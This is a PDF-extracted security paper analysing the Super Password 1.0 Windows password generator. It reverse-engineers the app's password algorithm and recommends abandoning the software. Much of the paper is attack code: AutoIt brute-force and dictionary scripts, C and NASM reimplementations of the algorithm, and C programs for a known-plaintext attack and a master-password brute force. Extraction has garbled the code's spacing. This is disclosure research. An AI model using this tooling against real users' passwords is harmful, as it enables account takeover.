Analysis of Super Password 1.0
Analysis of Super Password 1.0
0
Bart Leppens Anthony Piron February 2013
Super Password is a MS Windows application, written in 2000 by Yan QiQi, last updated September 2nd, 2010. The application lives as an icon in the system tray bar. It tries to x the problem that we need to remember dierent passwords for every account we create. It takes an account name and a master password as an input and then, when the generate button is pushed, some magic happens. A unique password of 12 characters is generated. Everytime you provide this master password in combination with an account name, the application can regenerate the same password again and again.
The helple of the application states: You neednt worry about the security. The COA algorithm Super Password uses to generate account passwords is very very complex and strong. No one can break it. Lets see if thats true.
2
2.1
Blackbox Analysis
Blackbox characteristics
Super Password has some weird behavior and some strange characteristics. The resulting password is not aected by: providing the master password in uppercase or in lowercase. providing the account name in uppercase or in lowercase. adding special characters (like ,@, c, ... ) to the master password. e adding special characters to the provided account.. . . The range of allowed characters is thus limited to a-z0-9. The resulting password always exists of 12 characters which are limited by this same range: a-z0-9. Theoretically, the super password must 1
consist of at least 4 characters and the account name must consist of at least 3 characters. This limitation only counts for the GUI, since if there are all special characters, this statement is wrong and there can even be no master password at all (e.g. @&|$). There doesnt seem to be a limit to the maximum length. But the more characters provided, the longer it seems to take to calculate the password.
2.2
Blackbox attacking
Suppose we have the credentials of one of the accounts (accountname and corresponding password). Then we can try to bruteforce the master password or we can use a wordlist and test if the master password is on the list. One way of doing this is with a scripting language called AutoIt. The following scripts are written for AutoIt v3. WinWaitActive ( Super Password 1 . 0 ) ;We s e a r c h t h e master password which g i v e s b 3 d a e u 6 z l c l 4 ; f o r a c c o u n t name myaccount $capturedpassword = b3daeu6zlcl4 $accountname = myaccount C o n t r o l S e t T e x t ( Super Password 1 . 0 , , [ CLASS : TEdit ; INSTANCE : 3 ] , myaccount ) L o c a l $ f i l e = FileOpen ( w o r d l i s t . l s t , 0 ) I f $ f i l e = 1 Then MsgBox ( 0 , E r r o r , Unable t o open f i l e ) Exit EndIf While 1 Local $ l i n e = FileReadLine ( $ f i l e ) I f @e rr or = 1 Then ExitLoop C o n t r o l S e t T e x t ( Super Password 1 . 0 , , [ CLASS : TEdit ; INSTANCE : 4 ] , $ l i n e ) C o n t r o l C l i c k ( Super Password 1 . 0 , , [ CLASS : TButton ; INSTANCE : 1 ] ) $a = ControlGetText ( Super Password 1 . 0 , , [ CLASS : TEdit ; INSTANCE : 2 ] ) I f $a == $ c a p t u r e d p a s s w o r d Then While ( True ) MsgBox ( 0 , , $ l i n e , 1 ) sleep (1000) WEnd Exit EndIf WEnd This way we were able to test +-4000 of passwords per minute on a AMD Turion 64 X2 Mobile 1.8GHz system. When performing a brute force attack on the master password we can use the following algorithm: WinWaitActive ( Super Password 1 . 0 ) ;We s e a r c h t h e master password which g i v e s 5 x l 2 s d c 0 i d f 9 ; f o r a c c o u n t name myaccount $ c a p t u r e d p a s s w o r d = 5 x l 2 s d c 0 i d f 9 2
$accountname = myaccount C o n t r o l S e t T e x t ( Super Password 1 . 0 , , [ CLASS : TEdit ; INSTANCE : 3 ] , $accountname ) $ S t r i n g = a , b , c , d , e , f , g , h , i , j , k , l ,m, n , o , p , q , r , s , t , u , v , w, x , y , z & ,0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 $String = S t r i n g S p l i t ( $String , ,) For $ i = 1 To $ S t r i n g [ 0 ] Step +1 For $ i 1 = 1 To $ S t r i n g [ 0 ] Step +1 For $ i 2 = 1 To $ S t r i n g [ 0 ] Step +1 For $ i 3 = 1 To $ S t r i n g [ 0 ] Step +1 $1 = $ S t r i n g [ $ i ] & $ S t r i n g [ $ i 1 ] & $ S t r i n g [ $ i 2 ] & $ S t r i n g [ $ i 3 ] C o n t r o l S e t T e x t ( Super Password 1 . 0 , , [ CLASS : TEdit ; INSTANCE : 4 ] , $1 ) C o n t r o l C l i c k ( Super Password 1 . 0 , , [ CLASS : TButton ; INSTANCE : 1 ] ) $a = ControlGetText ( Super Password 1 . 0 , , [ CLASS : TEdit ; INSTANCE : 2 ] ) I f $a == $ c a p t u r e d p a s s w o r d Then While ( True ) MsgBox ( 0 , , $1 , 1 ) sleep (1000) WEnd Exit EndIf Next Next Next Next With only 4000 keys a minute breaking a only 4 character password would take us almost 7 hours: 364 ( 400060 ).
3
3.1
Whitebox Analysis
Modifying the original binary
When looking at the application with a debugger, we can see that there are some interesting addresses: 0x004022AA: calls the start of password generation which is located at 0x0040179C 0x00402474 0x0040264B: the applications help function
It is clear that we can easily replace the applications help function with our own assembly, we have 471 bytes of space. So basically, we can add our own custom brute force code and start the attack with a push on the help button. We are not sharing this code here, since we retook a part of the original super password assembly and this might infringe copyright violations. It takes now about 2 minutes to brute force a 4 character super password on a AMD Turion 64 X2 Mobile 1.8GHz system. That are 14000 keys a second. Multiple binaries can be generated which contain part of the workload. So, if multiple processes can be started which can speed up e.g. on a 12 core system, it will only take seconds to test the same 4 character sequence. But the time needed to brute force is multiplied by 36 everytime you add an additional character to super password.
3.2
3.2.1
When looking at super passwords address 0x0040179C and following the assembly further down, we can deduce the algorithm. First there is the conversion from uppercase to lowercase. We can see that special characters are simply skipped. The algorithm rst takes every character of the provided super password in account and then it proceeds with every character of the provided account name. Then the algorithm does a modulo 36 of the result, which is then translated back into an ascii character of range a-z0-9. This translation is in fact a simple transition. For every of the 12 resulting charcters this sequence is repeated, but every time the index of the resulting character is taken into account in the calculations. Provided with only valid characters (a-z0-9), we can translate the algorithm to this C99 implementation: #i n c l u d e <s t d i o . h> #i n c l u d e <s t d i n t . h> double borlandsin ( double angle ) ; double borlandcos ( double angle ) ;
i n t C a l c u l a t e L e t t e r ( c h a r the superpwd , c h a r the username , i n t t h e i n d e x ) { uint32 t result = 0; double d = 0 . 0 ; // f o r each c h a r a c t e r o f t h e master password f o r ( c h a r p t r = the superpwd ; p t r ; p t r++) { char a = ptr ; // m u l t i p l y t h e a s c i i code o f t h e c h a r a c t e r with 654321 // and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a 6 5 4 3 2 1 ; // c a l c u l a t e a c o n s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r 123456 + 9 8 7 6 5 4 3 2 1 ) d = b o r l a n d c o s ( r e s u l t ) ( t h e i n d e x 123456 + 9 8 7 6 5 4 3 2 1 ) ; // c a s t back t o 32 b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } // f o r each c h a r a c t e r o f t h e username f o r ( c h a r p t r = t h e u s e r n a m e ; p t r ; p t r++) { char a = ptr ; // m u l t i p l y t h e t h e a s c i i code o f t h e c h a r a c t e r with 123456 // and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a 1 2 3 4 5 6 ; // c a l c u l a t e a s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r 654321 + 1 2 3 4 5 6 7 8 9 ) d = b o r l a n d s i n ( r e s u l t ) ( t h e i n d e x 654321 + 1 2 3 4 5 6 7 8 9 ) ; // c a s t back t o 32 b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } i n t r e s c h a r = r e s u l t % 3 6 ; // r e s u l t modulo 36 i f ( r e s c h a r < 10) { r e s c h a r += 4 8 ; // c o n v e r t back t o a s c i i c h a r a c t e r 0 . . 9 } else { r e s c h a r += 8 7 ; // c o n v e r t back t o a s c i i c h a r a c t e r a . . z } r e t u r n r e s c h a r ; // a s c i i c h a r a c t e r i n r a n g e o f 09az } i n t main ( ) { c h a r superpwd [ ] = y a n q i q i ; c h a r username [ ] = y a n q i q i ; int letter = 0;
// g e n e r a t e and p r i n t a l l 12 c h a r a c t e r s f o r t h e c o r r e s p o n d i n g password f o r ( i n t i =0; i <12; i ++){ l e t t e r = C a l c u l a t e L e t t e r ( superpwd , username , i ) ; p r i n t f (%c , l e t t e r ) ; } p r i n t f (\n ) ; return 0;
The algorithm calculates the resulting 12 characters one at a time. So when the rst calculated character does not correspond with the desired result, we can already proceed to the next candidate (in both cases of brute forcing and dictionary attack). The rst part, that processes the provided super password can be precalculated for all 12 the characters (=indexes). The second part that uses the username, we can calculate for each of the 12 characters (=indexes) all possible constants, that gives us the resulting letter. The algorithm uses 32-bit unsigned integers in its calculation. These integers are multiplied by sines and cosines. Super password was compiled with Borland Delphi 4.1. Delphi makes use of x87 FPU for the calculations of these sines and cosines. But the instructions fsin and fcos are not used to generate the sines and cosines. The returned value is specic for the Borland implementation, it contains a certain imprecision. Since the resulting sines and cosines are mulitplied with large uint32 t values (unsigned dwords), the result cannot be simulated using a library like < math.h >. Assume a cosine of 4242011732 that gives a value of 0.3186359445366380254 in Delphi and a value of 0.3186359446060212374 with < math.h > and with the fcos instruction. When you multiply for example 987777777 with these values, the values after casting back to uint32 t dier. The casting of 314741504,966 results in 314741504 (Delphi) but the casting of 314741505,0352 results in 314741505 (fcos). Augmenting the accurracy does not help us here, super password relies on the Borland implementation of cosine and sine. This makes that the algorithm is not portable. 3.2.3 The Borland sine and cosine with Nasm
We have written a small Delphi program and extracted the assembly. We used the addresses of super password as labels to help matching with the original executable binary. s e c t i o n . data ; PI d i v i d e d by 4 piBy4 : DB 0 x35 , 0 xC2 , 0 x68 , 0 x21 , 0 xA2 , 0xDA, 0 x0F , 0 xC9 , 0 x f e , 0 x3f , 0 x35 , 0xC2 nan : DD 0x0FFC04200 section . text global borlandsin global borlandcos borlandsin : PUSH MOV FINIT FLD MOV JMP borlandcos : PUSH MOV FINIT FLD MOV spw00434516 : FXAM SUB WAIT FSTSW WAIT
EBP EBP, ESP QWORD [EBP+8] CL, 0 spw00434516 EBP EBP, ESP QWORD [EBP+8] CL, 2
MOV SAHF JC JNZ JMP spw00434534 : JZ JNP FSTP FLD FTST spw00434542 : JMP spw00434544 : FCOMPP FLD FTST spw0043454E : JMP spw00434553 : FABS FLD FXAM FXCH FPREM MOV AND SHR FSTSW WAIT MOV SAHF JP MOV AND SHL SHL RCL ADD RCL CMP JNE ADD MOV spw0043458A : AND TEST JZ FSUB JMP spw00434594 : FSTP spw00434596 :
AH,BYTE [ ESP+1] spw00434534 spw00434553 spw0043454E spw00434542 spw00434542 ST0 DWORD[ nan ]
spw0043454E
DWORD[ nan ]
spw004345EA
TWORD[ piBy4 ]
CH, 2 CH, AH CH, 1 WORD[ ESP ] AH, BYTE[ ESP+1] spw00434544 AL, 3 AL, AH AH, 1 AH, 1 AL, 1 AL, 0FCh AL, 1 CL, 2 spw0043458A AL, CL CH, 0 AL, 7 AL, 1 spw00434594 spw00434596 ST1
FPTAN TEST AL, 3 JPE spw004345A3 FXCH spw004345A3 : FLD ST1 FMUL ST0 , ST0 FXCH FMUL ST0 , ST0 FADD FSQRT SHR AL, 1 SHR AL, 1 XOR AL, CH JZ spw004345B9 FCHS spw004345B9 : FDIV JMP spw004345EA spw004345EA : ADD ESP , 4 LEAVE RETN Built with NASM version 2.10.06 on Windows XP: nasm f win32 b o r l a n d s i n c o s . nasm o b o r l a n d s i n c o s . o b j And then compiled the c code and linked with gcc version 3.4.5 on Windows XP (MinGW) g c c spw . c b o r l a n d s i n c o s . o b j s t d=c99 o spw . exe An alternative method that can be used are lookup tables. In double precision, each sine or cosine takes up exactly 8 bytes. So 32 GB (=232 8 bytes) for all possible sines and another 32 GB for all posible cosines. In this way no FPU-calculations are needed.
3.3
3.3.1
When the attacker has +-6 combinations of account names and the corresponding password, we can create some constants for each index that will replace the master password. Consider the following master password zfghijklooz57o8zzzvbfaaqdiu6875433 and the corresponding pairs of generated accountname and password (azerty,bqzlxi4hwwrl), (abc,0rrlo5tglzvg), (mail,9m0u7ua78k3q), (webshop,odtp5udarw66), (yanqiqi,y3te20uwsl2u), (intranet,8wb4dyrwh2h8). We can calculate the constants for each index with the folling C99 implementation: #i n c l u d e <s t d i o . h> #i n c l u d e <s t d i n t . h> double borlandsin ( double angle ) ; u i n t 6 4 t h i t = 0 , miss = 0 ; // c r e a t e c a c h i n g f o r s i n e c a l c u l a t i o n #d e f i n e SIN SIZE ( 1 << 2 6 ) struct { uint32 t x ; 8
double s i n ; } h s i n [ SIN SIZE ] ; static inline double mysin ( u i n t 3 2 t x ) { u i n t 3 2 t h = x % SIN SIZE ; i f ( h s i n [ h ] . x == x ) // v e r i f y i f s i n e i n c a c h e i s s i n e f o r v a l u e x return hsin [ h ] . sin ; // e l s e c a l c u l a t e s i n e f o r v a l u e x and p l a c e i n c a c h e hsin [ h ] . x = x ; hsin [ h ] . sin = borlandsin (x ) ; return hsin [ h ] . sin ; }
static inline int C a l c u l a t e L e t t e r ( u i n t 3 2 t c s t , c h a r the username , i n t t h e i n d e x ) { uint32 t result = cst ; double d = 0 . 0 ; // f o r each c h a r a c t e r o f t h e username f o r ( c h a r p t r = t h e u s e r n a m e ; p t r ; p t r++) { char a = ptr ; // m u l t i p l y t h e t h e a s c i i code o f t h e c h a r a c t e r with 123456 // and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a 1 2 3 4 5 6 ; // c a l c u l a t e a s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r 654321 + 1 2 3 4 5 6 7 8 9 ) d = mysin ( r e s u l t ) ( t h e i n d e x 654321 + 1 2 3 4 5 6 7 8 9 ) ; // c a s t back t o 32 b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } i n t r e s c h a r = r e s u l t % 3 6 ; // r e s u l t modulo 36 i f ( r e s c h a r < 10) { r e s c h a r += 4 8 ; // c o n v e r t back t o a s c i i c h a r a c t e r 0 . . 9 } else { r e s c h a r += 8 7 ; // c o n v e r t back t o a s c i i c h a r a c t e r a . . z } r e t u r n r e s c h a r ; // a s c i i c h a r a c t e r i n r a n g e o f 09az } uint32 t searchCst ( char c l t l o g [ ] , char clt pwd [ ] , u i n t 3 2 t from , u i n t 3 2 t to , i n t i n d e x ) { u i n t 3 2 t i = from ;
while (1) { c h a r p l = c l t l o g ; c h a r pd = c l t p w d ; i n t found = 1 ; f o r ( ; p l ; p l ++, pd++) { i n t l e t t e r = C a l c u l a t e L e t t e r ( i , pl , i n d e x ) ; // i f f o r one o f t h e p r o v i d e d usernamse t h e c a l c u l a t e d c h a r a c t e r // d o e s not c o r r e s p o n d with t h e p r o v i d e d c h a r a c t e r o f t h e password //we can break and p r o c e e d with v e r i f y i n g next c o n s t a n t c a n d i d a t e i f ( ( pd ) [ i n d e x ] != l e t t e r ) { found = 0 ; break ; } } i f ( found ) { p r i n t f ( Res : %u\n , i ) ; } i f ( i % 0xFFFFFFFul == 0 ) p r i n t f ( I : %08x\n , i ) ; i f ( i++ == t o ) break ; } return 0; } / ( azerty , bqzlxi4hwwrl ) , ( abc , 0 r r l o 5 t g l z v g ) , ( m a i l , 9 m0u7ua78k3q ) , ( webshop , odtp5udarw66 ) , ( yanqiqi , y3te20uwsl2u ) , ( i n t r a n e t , 8 wb4dyrwh2h8 ) / i n t main ( ) { // l i s t with a l l known l o g i n s // and a l i s t with a l l c o r r e s p o n d i n g passw ords c h a r c l t l o g [ ] = { a z e r t y , abc , m a i l , webshop , y a n q i q i , i n t r a n e t , NULL} ; c h a r c l t p w d [ ] = { b q z l x i 4 h w w r l , 0 r r l o 5 t g l z v g , 9 m0u7ua78k3q , odtp5udarw66 , y 3 t e 2 0 u w s l 2 u , 8 wb4dyrwh2h8 , NULL} ; // c l e a r t h e c a c h e f o r ( u i n t 3 2 t i = 0 ; i < SIN SIZE ; i ++) { hsin [ i ] . x = 0; hsin [ i ] . sin = 0; } // parameter1 : l i s t o f known l o g i n s
// c a n d i d a t e c o n s t a n t f o r i n d e x found
// d i s p l a y some p r o g r e s s
// i n c r e m e n t i t i l l maximum v a l u e (= t o )
10
// parameter2 : l i s t o f c o r r e s p o n d i n g passw ords // parameter3 : s t a r t o f r a n g e i n which t o s e a r c h c o n s t a n t s // parameter4 : end o f r a n g e i n which t o s e a r c h c o n s t a n t s // parameter5 : s e a r c h c o n s t a n t s f o r i n d e x ( 0 . . 1 1 ) s e a r c h C s t ( c l t l o g , cl t pw d , 0 x0ul , 0xFFFFFFFFul , 1 0 ) ; return 0; } For each index that gives us following constants: index0: 155016602, 573820617, 985378604, 2704508381, 3123312396, 3534870383 index1: 1047828493, 3597320272 index2: 1100035586, 3649527365 index3: 1553765556, 4053351770, 4103257335 index4: 289936959, 701494946, 1113052933, 1524610920, 2839428738, 3250986725, 3662544712, 4074102699 index5: 851594859, 1263152846, 1674710833, 2086268820 index6: 833806284, 1245364271, 1710109732, 3383298063, 3794856050, 4259601511 index7: 28064626, 774212545, 1157763239, 1185770532, 1754440431, 2165998418, 2577556405, 3323704324, 3735262311 index8: 757253385, 1168811372, 2973540570, 3306745164, 3718303151 index9: 856489889, 3405981668 index10: 557930578, 969488565, 3107422357, 3518980344 index11: 184071555, 595629542, 880689466, 1292247453, 1703805440, 1910447360, 2322005347, 2733563334, 3145121321, 3430181245, 3841739232, 4253297219 For accountname administrator that results in the following characters: index0: g, t, t, g, t, t index1: 4, 4 index2: w, w index3: g, 5, g index4: o, o, o, o, o, o, o, o index5: x, x, x, x index6: w, w, g, w, w, g index7: u, h, j, h, u, u, u, h, h index8: 9, 9, 1, 9, 9 index9: n, n index10: y, y, y, y index11: n, n, l, l, l, n, n, n, n, l, l, l 11
The space in which we need to search the password is heavily reduced. For username administrator, the list of possible passwords using provided indexes is limited to only 96 possible passwords: g4wgoxwu9nyn , g4wgoxwh9nyl , g4wgoxwj1nyn , g4wgoxgu1nyl , g4wgoxgj9nyn , g4w5oxwu9nyl , g4w5oxwh1nyn , g4w5oxwj1nyl , g4w5oxgh9nyn , g4w5oxgj9nyl , t4wgoxwu1nyn , t4wgoxwh1nyl , t4wgoxgu9nyn , t4wgoxgh9nyl , t4wgoxgj1nyn , t4w5oxwu1nyl , t4w5oxwj9nyn , t4w5oxgu9nyl , t4w5oxgh1nyn , t4w5oxgj1nyl g4wgoxwu9nyl , g4wgoxwh1nyn , g4wgoxwj1nyl , g4wgoxgh9nyn , g4wgoxgj9nyl , g4w5oxwu1nyn , g4w5oxwh1nyl , g4w5oxgu9nyn , g4w5oxgh9nyl , g4w5oxgj1nyn , t4wgoxwu1nyl , t4wgoxwj9nyn , t4wgoxgu9nyl , t4wgoxgh1nyn , t4 wg o xg j1 n yl , t4w5oxwh9nyn , t4w5oxwj9nyl , t4w5oxgu1nyn , t4w5oxgh1nyl , g4wgoxwu1nyn , g4wgoxwh1nyl , g4wgoxgu9nyn , g4wgoxgh9nyl , g4wgoxgj1nyn , g4w5oxwu1nyl , g4w5oxwj9nyn , g4w5oxgu9nyl , g4w5oxgh1nyn , g4w5oxgj1nyl , t4wgoxwh9nyn , t4wgoxwj9nyl , t4wgoxgu1nyn , t4wgoxgh1nyl , t4w5oxwu9nyn , t4w5oxwh9nyl , t4w5oxwj1nyn , t4w5oxgu1nyl , t4w5oxgj9nyn , g4wgoxwu1nyl , g4wgoxwj9nyn , g4wgoxgu9nyl , g4wgoxgh1nyn , g4wgoxgj1nyl , g4w5oxwh9nyn , g4w5oxwj9nyl , g4w5oxgu1nyn , g4w5oxgh1nyl , t4wgoxwu9nyn , t4wgoxwh9nyl , t4wgoxwj1nyn , t4wgoxgu1nyl , t4wgoxgj9nyn , t4w5oxwu9nyl , t4w5oxwh1nyn , t4w5oxwj1nyl , t4w5oxgh9nyn , t4 w 5o x gj 9n yl , g4wgoxwh9nyn , g4wgoxwj9nyl , g4wgoxgu1nyn , g4wgoxgh1nyl , g4w5oxwu9nyn , g4w5oxwh9nyl , g4w5oxwj1nyn , g4w5oxgu1nyl , g4w5oxgj9nyn , t4wgoxwu9nyl , t4wgoxwh1nyn , t4wgoxwj1nyl , t4wgoxgh9nyn , t4 wg o xg j9 n yl , t4w5oxwu1nyn , t4w5oxwh1nyl , t4w5oxgu9nyn , t4w5oxgh9nyl , t4w5oxgj1nyn ,
The more combinations of usernames/passwords are given, the less possible constants are found and so, the more the list of possible master passwords will be reduced. 3.3.2 Brute force attack of the master password
Now that we have seen the algorithm of super password, we are not sure that there wont be any collisions. So we can search for a candidate master password. Assume the following C99 implementation: #i n c l u d e <s t d i o . h> #i n c l u d e <s t d i n t . h> #i n c l u d e <time . h>
double borlandsin ( double angle ) ; double borlandcos ( double angle ) ; // c r e a t e c a c h i n g f o r s i n e c a l c u l a t i o n #d e f i n e SIN SIZE ( 1 << 2 3 ) struct { uint32 t x ; double s i n ; } h s i n [ SIN SIZE ] ; static inline double mysin ( u i n t 3 2 t x ) { u i n t 3 2 t h = x % SIN SIZE ; i f ( h s i n [ h ] . x == x ) // v e r i f y i f s i n e i n c a c h e i s s i n e f o r v a l u e x return hsin [ h ] . sin ; 12
// e l s e c a l c u l a t e s i n e f o r v a l u e x and p l a c e i n c a c h e hsin [ h ] . x = x ; hsin [ h ] . sin = borlandsin (x ) ; return hsin [ h ] . sin ; } // c r e a t e c a c h i n g f o r c o s i n e c a l c u l a t i o n #d e f i n e COS SIZE ( 1 << 2 3 ) struct { uint32 t x ; double cos ; } h c o s [ COS SIZE ] ; static inline double mycos ( u i n t 3 2 t x ) { u i n t 3 2 t h = x % COS SIZE ; i f ( h c o s [ h ] . x == x ) // v e r i f y i f c o s i n e i n c a c h e i s c o s i n e f o r v a l u e x return hcos [ h ] . cos ; // e l s e c a l c u l a t e s i n e f o r v a l u e x and p l a c e i n c a c h e hcos [ h ] . x = x ; hcos [ h ] . cos = borlandcos ( x ) ; return hcos [ h ] . cos ; } static inline int C a l c u l a t e L e t t e r ( c h a r t h e s u p e r p a s s w o r d , c h a r the username , i n t t h e i n d e x ) { uint32 t result = 0; double d = 0 . 0 ; // f o r each c h a r a c t e r o f t h e master password f o r ( c h a r p t r = t h e s u p e r p a s s w o r d ; p t r ; p t r++) { char a = ptr ; // m u l t i p l y t h e a s c i i code o f t h e c h a r a c t e r with 654321 // and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a 6 5 4 3 2 1 ; // c a l c u l a t e a c o n s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r 123456 + 9 8 7 6 5 4 3 2 1 ) d = mycos ( r e s u l t ) ( t h e i n d e x 123456 + 9 8 7 6 5 4 3 2 1 ) ; // c a s t back t o 32 b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } // f o r each c h a r a c t e r o f t h e username f o r ( c h a r p t r = t h e u s e r n a m e ; p t r ; p t r++) { char a = ptr ; // m u l t i p l y t h e t h e a s c i i code o f t h e c h a r a c t e r with 123456
13
// and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a 1 2 3 4 5 6 ; // c a l c u l a t e a s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r 654321 + 1 2 3 4 5 6 7 8 9 ) d = mysin ( r e s u l t ) ( t h e i n d e x 654321 + 1 2 3 4 5 6 7 8 9 ) ; // c a s t back t o 32 b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } i n t r e s c h a r = r e s u l t % 3 6 ; // r e s u l t modulo 36 i f ( r e s c h a r < 10) { r e s c h a r += 4 8 ; // c o n v e r t back t o a s c i i c h a r a c t e r 0 . . 9 } else { r e s c h a r += 8 7 ; // c o n v e r t back t o a s c i i c h a r a c t e r a . . z } r e t u r n r e s c h a r ; // a s c i i c h a r a c t e r i n r a n g e o f 09az }
i n t main ( ) { char c l t l o g = a d mi n i st r a to r ; c h a r c l t p w d = t4w5oxwh9nyl ; // c l e a r t h e c a c h e f o r ( u i n t 3 2 t i = 0 ; i < SIN SIZE ; i ++) { hsin [ i ] . x = 0; hsin [ i ] . sin = 0; } f o r ( u i n t 3 2 t i = 0 ; i < COS SIZE ; i ++) { hcos [ i ] . x = 0 ; hcos [ i ] . cos = 0 ; } #d e f i n e MAX DEPTH 4 // depth o f password t o s e a r c h f o r c h a r spw [MAX DEPTH+ 2 ] ; f o r ( i n t i= 0 ; i <MAX DEPTH+2; i ++){ spw [ i ] = 0 ; } i n t depth = 0 ; int charres = 0; d o u b l e e l a p s e d ; // i n m i l l i s e c o n d s c l o c k t s t a r t , end ; start = clock ( ) ; // some s i m p l e b r u t e f o r c e a l g o r i t h m w h i l e ( depth < MAX DEPTH+1){ depth = 0 ;
14
w h i l e ( spw [ depth ] == 1 2 2 ) depth++; i f ( spw [ depth ]==57){ spw [ depth ] = 9 7 ; } e l s e i f ( spw [ depth ] <48){ spw [ depth ] = 4 8 ; } else { spw [ depth ]++; } i n t h = depth ; w h i l e ( h>0){ spw [ h1] = 4 8 ; h; } i f ( depth > 4 ) { // show some p r o g r e s s f o r ( c h a r p t r = spw ; p t r ; p t r ++){ char a = ptr ; p r i n t f (%c , a ) ; } p r i n t f (\n ) ; } f o r ( i n t i =0; i < 1 2 ; i ++){ c h a r r e s = C a l c u l a t e L e t t e r ( spw , c l t l o g , i ) ; // s k i p t o next i f not e x p e c t e d r e s u l t i f ( c h a r r e s != c l t p w d [ i ] ) break ; i f ( i == 1 1 ) { p r i n t f ( found \n ) ; f o r ( c h a r p t r = spw ; p t r ; p t r ++){ char a = ptr ; p r i n t f (%c , a ) ; } p r i n t f (\n ) ; } } depth++; } end = c l o c k ( ) ; e l a p s e d = ( ( d o u b l e ) ( end s t a r t ) ) / CLOCKS PER SEC ; p r i n t f ( time : %f s e c o n d s \n , e l a p s e d ) ; return 0; } Some of the calculated sines and cosines are cached in memory. It now takes about 15 seconds to brute force a 4 character super password on a AMD Turion 64 X2 Mobile 1.8GHz system using only one thread. That are more then 110.000 keys per second.
15
3.3.3
Multiple optimisations are possible. For each index, all possible constants can be precalculated, which would avoid calculations with the account name when performing brute force or dictionary attacks (this can replace the second part of the COA algorithm). For each master password we want to test, we can (pre-)generate the constant for each of the 12 indexes. Then we can check if these constants correspond with the possible prcalculated constants. If they correspond with all 12 indexes, we e have a candidate for the original super password. The calculation of these constants for each master password could be distributed. Lookup tables which contains the constants for master passwords could be shared.
Conclusion
The COA algorithm is at least vunerable to known plain text attack. Super password can be easily attacked with dictionaries either. Brute forcing is also a problem for super password since for each plaintext master password, the corresponding constants can be precalculated and this for each of the 12 indexes. When distibuting the eort, lookup tables for very long master passwords could be generated and thus super password is never a safe option. We heavily recommend not to use this piece of software anymore.
References
http://www.softpedia.com/get/Security/Password-Managers-Generators/Super-Password.shtml http://www.nasm.us/ http://www.ollydbg.de/
16